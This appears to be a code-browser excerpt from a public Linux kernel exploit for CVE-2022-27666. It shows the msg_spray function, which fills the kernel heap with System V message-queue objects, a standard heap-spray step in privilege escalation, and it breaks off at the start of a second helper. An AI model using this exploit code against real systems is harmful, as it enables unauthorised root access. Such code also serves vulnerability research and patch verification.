Function msg_spray

CVE-2022-27666/exploit/exploit.c:185–202

create $num_msg message queue and each send $loop msg_msg

}
// create $num_msg message queue and each send $loop msg_msg
int msg_spray(int num_msg, int size, int loop) {
  int i;
#ifdef MSG_DEBUG
  printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop);
#endif

  for (i = 0; i < num_msg; i++) {
        if ((msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
            exit(1);
        }
#ifdef MSG_DEBUG
        printf("[*] msg_spray: msqid[%d]: %d\n", i, msqid[i]);
#endif
        sendmymsg(msqid[i], 0, loop, size);
    }
  return i;
}
// send $loop msg_msg       (first 8 bytes == MSG_SPARY == 0x38)
void sendmymsg(int _msqid, int start, int loop, int size)
{